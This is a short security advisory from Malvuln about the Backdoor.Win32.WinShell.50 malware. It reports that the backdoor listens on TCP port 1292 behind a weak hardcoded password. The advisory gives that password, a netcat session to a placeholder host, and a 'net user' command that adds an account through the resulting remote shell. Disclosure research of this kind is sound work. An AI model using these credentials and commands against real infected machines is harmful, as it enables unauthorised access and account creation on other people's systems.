Backdoor.Win32.WinShell.50 malware suffers from a hard-coded password vulnerability.
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/0faecbdfccf3144d487971ed47f3665c.txt
Contact: [email protected]
Vulnerability: Weak Hardcoded Password
Description: The malware listens on TCP port 1292. Authentication is required for remote user access. However, the password "EliteKTHX" is weak and hardcoded within the executable. The PE file is protected by ExeStealth 275.a protector, after dumping the process the password is easily revealed.
Vuln ID: MVID-2021-0415
nc64.exe x.x.x.x 1292
Enter Your EWG 0wn4g3z KTHX:EliteKTHX
WinShell v5.0 (C)2002 janker.org
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Microsoft Windows [Version 10.0.16299.309]
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C:dump>net user HYP3RLINX 666 /add
net user HYP3RLINX 666 /add
The command completed successfully.
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